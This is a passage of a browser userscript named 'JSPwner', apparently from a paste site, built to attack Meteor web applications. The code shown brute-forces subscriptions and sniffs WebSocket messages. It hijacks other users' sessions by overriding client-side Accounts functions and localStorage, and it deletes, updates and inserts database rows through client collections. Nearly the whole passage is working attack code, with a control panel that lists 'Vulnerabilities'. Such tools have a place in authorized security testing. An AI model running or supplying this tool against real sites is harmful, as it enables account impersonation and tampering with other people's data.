- Meteor.subscribe(newColl.toLowerCase());
- Meteor.subscribe(newColl.toUpperCase());
- Meteor.subscribe(newColl.charAt(0).toUpperCase() + newColl.slice(1));
- }
- }
- }
- });
- alert("Finish");
- });
- //sniff messages
- $('body').on('click', '.sniff-packets', function(event) {
- event.preventDefault();
- event.stopPropagation();
- if(!meteorIsLoaded())
- {
- alert("Meteor is not present");
- return;
- }
- sniffWebSocketMessages();
- alert("Finish. Press F12 to open the Javascript console and see the messages.");
- });
- //try to impersonate another user by changing the return of some client side functions
- //which Meteor uses, such as Accounts.userId(), Accounts.user() and localStorage["Meteor.userId"]
- $('body').on('click', '.button-hijack', function(event) {
- event.preventDefault();
- event.stopPropagation();
- var id = $(this).attr("value");
- var user = Meteor.users.findOne({_id: id});
- if(typeof(user) === "undefined")
- {
- alert("You can't hijack in this page. Make sure you can see Meteor.users table records");
- }
- else
- {
- unsafeWindow.Accounts.userId = function() { return id; };
- unsafeWindow.Accounts.user = function() { return user; };
- unsafeWindow.Accounts.connection.setUserId(id);
- unsafeWindow.localStorage["Meteor.userId"] = id;
- alert("Hijack done");
- }
- $('#jspwner .jsp-main-panel').show();
- $('#jspwner .jsp-secondary-panel').hide();
- });
- //automatic remove a row from the DB
- //unlikely to work if the collection is secured
- $('body').on('click', '.remove-row', function(event) {
- event.preventDefault();
- event.stopPropagation();
- var id = $(this).attr("value");
- var name = $(this).attr("name");
- var obj;
- var collection = analyzeCollection(name);
- collection.remove({_id: id});
- obj = collection.find({_id: id});
- if(typeof(obj) !== "undefined")
- {
- alert("Failed: object is protected");
- }
- else
- {
- alert("Success");
- }
- });
- //change session parameter
- $('body').on('click', '.change-session', function(event) {
- event.preventDefault();
- event.stopPropagation();
- var form = document.forms["session-change-form"];
- var key = form["keyParam"].value;
- var value = form["valueParam"].value;
- var type = form["type"].value;
- if(type === "" || type === "string")
- {
- value = "\""+value+"\"";
- }
- else if(type === "bool")
- {
- if(value === "false")
- {
- value = false;
- }
- else if(value === "true")
- {
- value = true;
- }
- else
- {
- return;
- }
- }
- else if(type === "num")
- {
- value = Number(value);
- }
- unsafeWindow.Session.set(key, value);
- ssnDiv = $('#jsp-session-list div[name="' + key + '"]').find('[class="params"]');
- ssnDiv.html('Param values ['+ value + ']');
- alert("Key \""+key+"\" changed to \""+value+"\"");
- $('#jspwner .jsp-third-panel').hide();
- $('#jspwner .jsp-secondary-panel').hide();
- $('#jspwner .jsp-main-panel').show();
- });
- //this updates a given row
- $('body').on('click', '.update-row', function(event) {
- event.preventDefault();
- event.stopPropagation();
- var form = document.forms["change-row"];
- var id = form["idCollection"].value;
- var name = form["nameCollection"].value;
- var collection = analyzeCollection(name);
- var coll = collection.find({_id: id}).fetch();
- var newObj = {};
- for( var k of coll)
- {
- var array = deepPropertyNames(k).toString().split(",");
- for( var i = 0; i < array.length; i++)
- {
- attrArray = array[i].split(".");
- var attrCompleted = "";
- for(var j = 0; j < attrArray.length; j++)
- {
- var attr = attrArray[j].toString();
- if(j !== 0)
- {
- attrCompleted += "."+attr;
- }
- else
- {
- attrCompleted += attr;
- }
- }
- if(attrCompleted !== "_id")
- {
- var value = form[attrCompleted].value;
- if(value.length > 0)
- {
- newObj[attrCompleted] = value;
- }
- }
- }
- }
- const res = collection.update({_id: id}, {$set: newObj});
- if(res === 0)
- {
- alert("Update method is protected or something went wrong");
- }
- else
- {
- alert("It may be a success, check if something changed");
- }
- $('#jspwner .jsp-third-panel').hide();
- $('#jspwner .jsp-secondary-panel').hide();
- $('#jspwner .jsp-main-panel').show();
- });
- //this updates a given row
- $('body').on('click', '.insert-row', function(event) {
- event.preventDefault();
- event.stopPropagation();
- var form = document.forms["change-row"];
- var id = form["idCollection"].value;
- var name = form["nameCollection"].value;
- var collection = analyzeCollection(name);
- var coll = collection.find({_id: id}).fetch();
- var newObj = {};
- for( var k of coll)
- {
- var array = deepPropertyNames(k).toString().split(",");
- for( var i = 0; i < array.length; i++)
- {
- attrArray = array[i].split(".");
- var attrCompleted = "";
- for(var j = 0; j < attrArray.length; j++)
- {
- var attr = attrArray[j].toString();
- if(j !== 0)
- {
- attrCompleted += "."+attr;
- }
- else
- {
- attrCompleted += attr;
- }
- }
- if(attrCompleted !== "_id")
- {
- var value = form[attrCompleted].value;
- if(value.length > 0)
- {
- newObj[attrCompleted] = value;
- }
- }
- }
- }
- const res = collection.insert(newObj);
- if(res === 0)
- {
- alert("Update method is protected or something went wrong");
- }
- else
- {
- alert("It may be a success, check if something changed");
- }
- $('#jspwner .jsp-third-panel').hide();
- $('#jspwner .jsp-secondary-panel').show();
- });
- //prepare the form for update and insert to the DB
- $('body').on('click', '.third-panel-nav', function(event) {
- event.preventDefault();
- event.stopPropagation();
- var id = $(this).attr("value");
- var name = $(this).attr("name");
- cDetailsHtml = '<form method="post" id="change-row">\
- <input type="hidden" name="idCollection" value="'+id+'">\
- <input type="hidden" name="nameCollection" value="'+name+'">';
- var collection = analyzeCollection(name);
- var coll = collection.find( { _id: id } ).fetch();
- for( var q = 0; q < coll.length; q++)
- {
- for( var k of coll)
- {
- var array = deepPropertyNames(k).toString().split(",");
- for( var i = 0; i < array.length; i++)
- {
- attrArray = array[i].split(".");
- var row = coll[q];
- var attrCompleted = "";
- for(var j = 0; j < attrArray.length; j++)
- {
- var attr = attrArray[j].toString();
- if(j !== 0)
- {
- attrCompleted += "."+attr;
- }
- else
- {
- attrCompleted += attr;
- }
- if(row[attr] !== null)
- {row = row[attr];}
- }
- if(typeof(row) !== "undefined" && attrCompleted !== "_id")
- {
- cDetailsHtml +='<p class="jsp-text">'+ escapeHTMLchar(attrCompleted) + ': </p><p class="jsp-text">[example: "' + escapeHTMLchar(row) + '"]</p> <br/> <input class="jsp-input" type="text" name="'+ escapeHTMLchar(attrCompleted)+'" size="10"> <br/>';
- }
- }
- }
- }
- cDetailsHtml += '<br/><input class="update-row jsp-button" type="submit" value="Update">\
- <input class="insert-row jsp-button" type="submit" value="Insert"></form>';
- $('#jspwner .jsp-third-panel .jsp-third-header').text('Change - ' + name);
- $('#jspwner .jsp-third-panel .jsp-third-details').html(cDetailsHtml);
- $('#jspwner .jsp-secondary-panel').hide();
- $('#jspwner .jsp-third-panel').show();
- });
- /**
- * Move from the secondary panel to the main panel
- */
- $('body').on('click', '#jspwner * .jsp-secondary-nav', function(event) {
- event.preventDefault();
- event.stopPropagation();
- $('#jspwner .jsp-main-panel').show();
- $('#jspwner .jsp-secondary-panel').hide();
- });
- /**
- * Move from the third panel to the secondary panel
- */
- $('body').on('click', '#jspwner * .jsp-third-nav', function(event) {
- event.preventDefault();
- event.stopPropagation();
- $('#jspwner .jsp-third-panel').hide();
- $('#jspwner .jsp-secondary-panel').show();
- });
- /**
- * Toggle the display of children div items
- */
- $('body').on('click', '#jspwner * .jsp-list-parent', function(event) {
- event.preventDefault();
- event.stopPropagation();
- $(event.target).toggleClass('jsp-hide-children');
- });
- // ********************************************************************************
- // ********************************************************************************
- // *** ***
- // *** Main Event ***
- // *** ***
- // ********************************************************************************
- // ********************************************************************************
- $(document).ready(function() {
- 'use strict';
- // Only run the code if Meteor is loaded
- if (!meteorIsLoaded() && !isAngular() && !isIonic() && !isMongo()) {
- return;
- }
- // create menu, scope to only apply to this plugin
- GM_addStyle('#jspwner { padding: 5px; color: white; top: 0; right: 0; background-color: rgba(0, 0, 0, 0.7); width: 20%; position: fixed !important; z-index: 9999; overflow: scroll; resize: both; max-width: 90%; max-height: 90%; };');
- GM_addStyle('#jspwner .jsp-header { padding: 0 0 3px 0; margin: 0; font-size: larger; font-weight: bold; };');
- GM_addStyle('#jspwner * .jsp-loaded {color: red; font-family: "Adobe Caslon Pro", "Hoefler Text", Georgia, Garamond, Times, serif; font-style: italic; font-size: medium;};');
- GM_addStyle('#jspwner * .jsp-section {font-family: times, Times New Roman, times-roman, georgia, serif; color: white; margin: 0; padding: 0px 0px 6px 0px; font-size: 41px; line-height: 44px; letter-spacing: -2px; font-weight: bold;};');
- GM_addStyle('#jspwner * .jsp-button {background: #152a38; background-image: -webkit-linear-gradient(top, #152a38, #b82b2b); background-image: -moz-linear-gradient(top, #152a38, #b82b2b); background-image: -ms-linear-gradient(top, #152a38, #b82b2b); background-image: -o-linear-gradient(top, #152a38, #b82b2b); background-image: linear-gradient(to bottom, #152a38, #b82b2b); font-family: Georgia; border-radius: 30px; color: #ffffff; font-size: small; padding: 10px 20px 10px 20px; text-decoration: none;};');
- GM_addStyle('#jspwner * .jsp-button:hover {background: #000000; background-image: -webkit-linear-gradient(top, #000000, #eb1111); background-image: -moz-linear-gradient(top, #000000, #eb1111); background-image: -ms-linear-gradient(top, #000000, #eb1111); background-image: -o-linear-gradient(top, #000000, #eb1111); background-image: linear-gradient(to bottom, #000000, #eb1111); text-decoration: none;};');
- GM_addStyle('#jspwner * .jsp-not-loaded {color: grey; font-size: medium;};');
- GM_addStyle('#jspwner * .jsp-text {font-size:medium;color: white; font-family:Georgia,serif; font-variant: small-caps; text-transform: none; font-weight: 100; margin-bottom: 0;};');
- GM_addStyle('#jspwner * .jsp-input {color: black; font-weight: bold; background-color: white};');
- GM_addStyle('#jspwner * .jsp-ready {color: red; font-family: "Adobe Caslon Pro", "Hoefler Text", Georgia, Garamond, Times, serif; font-style: italic; };');
- GM_addStyle('#jspwner * .jsp-not-ready {color: red;};');
- GM_addStyle('#jspwner * .jsp-hide-not-loaded div.jsp-not-loaded { display: none; };');
- GM_addStyle('#jspwner * .jsp-list div { font-size: smaller; padding-left: 10px; };');
- GM_addStyle('#jspwner * .jsp-list div.size { display: inline; font-size: smaller; padding-left: 10px; color: grey; };');
- GM_addStyle('#jspwner * .jsp-list div.params { display: inline; font-size: smaller; padding-left: 10px; color: grey; };');
- GM_addStyle('#jspwner * .jsp-list div.field-counts { display: inline; font-size: smaller; padding-left: 10px; color: grey; };');
- GM_addStyle('#jspwner * .jsp-secondary-nav { color: #888; display: inline-block; };');
- GM_addStyle('#jspwner * .jsp-secondary-header { display: inline-block; font-family:Georgia,serif; font-variant: small-caps; text-transform: none; font-weight: 100; margin-bottom: 0;};');
- GM_addStyle('#jspwner * .jsp-secondary-details table { border-collapse: collapse; width: 100%; height: 100%; font-size: smaller; };');
- GM_addStyle('#jspwner * .jsp-secondary-details .header { font-weight: bold;};');
- GM_addStyle('#jspwner * .jsp-secondary-details .detail { font-size: smaller ; padding-left: 5px; color:red; };');
- GM_addStyle('#jspwner * .jsp-third-nav { color: #888; display: inline-block; };');
- GM_addStyle('#jspwner * .jsp-third-header { display: inline-block; font-family:Georgia,serif; font-variant: small-caps; text-transform: none; font-weight: 100; margin-bottom: 0;};');
- GM_addStyle('#jspwner * .jsp-third-details table { border-collapse: collapse; width: 100%; height: 100%; font-size: smaller; };');
- GM_addStyle('#jspwner * .jsp-third-details .header { font-weight: bold;};');
- GM_addStyle('#jspwner * .jsp-third-details .detail { font-size: smaller ; padding-left: 5px; color:red; };');
- // remove -nope to hide the sub items by default
- GM_addStyle('#jspwner * .jsp-hide-children-nope div { display: none; };');
- GM_addStyle('#jspwner * #jsp-hide-not-loaded-toggle { font-size: smaller; };');
- GM_addStyle('#jspwner * .jsp-new { animation: colorchange 5s; -webkit-animation: colorchange 5s;};');
- GM_addStyle('#jspwner * .change-color { font-size: medium; color: green; font-weight: bold; font-family: "Adobe Caslon Pro", "Hoefler Text", Georgia, Garamond, Times, serif; font-style: italic;};');
- GM_addStyle('#jspwner * table, th, td { border: 1px solid white; padding:0 15px 0 15px;};');
- GM_addStyle('@keyframes colorchange { \
- 0% {color: yellow;}; \
- 50% {color: blue;}; \
- 100% {color: yellow;}; \
- };');
- GM_addStyle('@-webkit-keyframes colorchange { \
- 0% {color: yellow;}; \
- 50% {color: blue;}; \
- 100% {color: yellow;}; \
- };');
- // the window to show the Meteor info
- jQuery('<div/>', {
- id: 'jspwner',
- html: ' \
- <div class="jsp-main-panel"> \
- <div class="jsp-main-header jsp-header"><h1 class="jsp-section">JSPwner</h1></div> \
- <div class="jsp-main-details"> \
- <div id="jsp-hide-not-loaded-toggle" onclick="$(\'[id^=jsp-][id$=-list]\').toggleClass(\'jsp-hide-not-loaded\')"><p class="jsp-text">Toggle Loaded Only</p></div> \
- <div id="jsp-vulnerabilities-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Vulnerabilities</h1>\
- <div id="jsp-vulnerabilities-list" class="jsp-list"></div> \
- </div> \
- <div id="jsp-session-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Session </h1> \
- <div id="jsp-session-list" class="jsp-list jsp-hide-not-loaded"></div> \
- </div> \
- <div id="jsp-collections-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Collections </h1> \
- <p class="jsp-text">Not hidden</p>\
- <div id="jsp-collections-list" class="jsp-list jsp-hide-not-loaded"></div> \
- <div id="jsp-collections-list-hidden" class="jsp-list"><p class="jsp-text">Hidden</p></div> \
- </div> \
- <div id="jsp-subscriptions-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Subscriptions </h1> <button class="try-bruteforce-subscriptions jsp-button"> Find others </button>\
- <div id="jsp-subscriptions-list" class="jsp-list jsp-hide-not-loaded"></div> \
- </div> \
- <div id="jsp-templates-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Templates </h1> \
- <div id="jsp-templates-list" class="jsp-list jsp-hide-not-loaded"></div> \
- </div> \
- <div id="jsp-routes-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Routes </h1>\
- <div id="jsp-routes-list" class="jsp-list"></div> \
- </div> \
- <div id="jsp-functions-header jsp-header" class="jsp-hide-children jsp-list-parent"><h1 class="jsp-section">Functions </h1>\
- <div id="jsp-functions-list" class="jsp-list"></div> \
- </div> \
- </div> \
- </div> \
- <div class="jsp-secondary-panel" style="display: none;"> \
- <div class="jsp-secondary-nav jsp-header"><</div> \
- <div class="jsp-secondary-header jsp-header"></div> \
- <div class="jsp-secondary-details"></div> \
- </div>\
- <div class="jsp-third-panel" style="display: none;">\
- <div class="jsp-third-nav jsp-header"><</div> \
- <div class="jsp-third-header jsp-header"></div> \
- <div class="jsp-third-details"></div> \
- </div>',
- draggable: true
- }).appendTo('body');
- var mm = $('#jspwner');
- mm.resizable({ handles: 'all' });
- setInterval(updateInfo, 1000);
- setTimeout(updateInfoOnce, 1000);
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement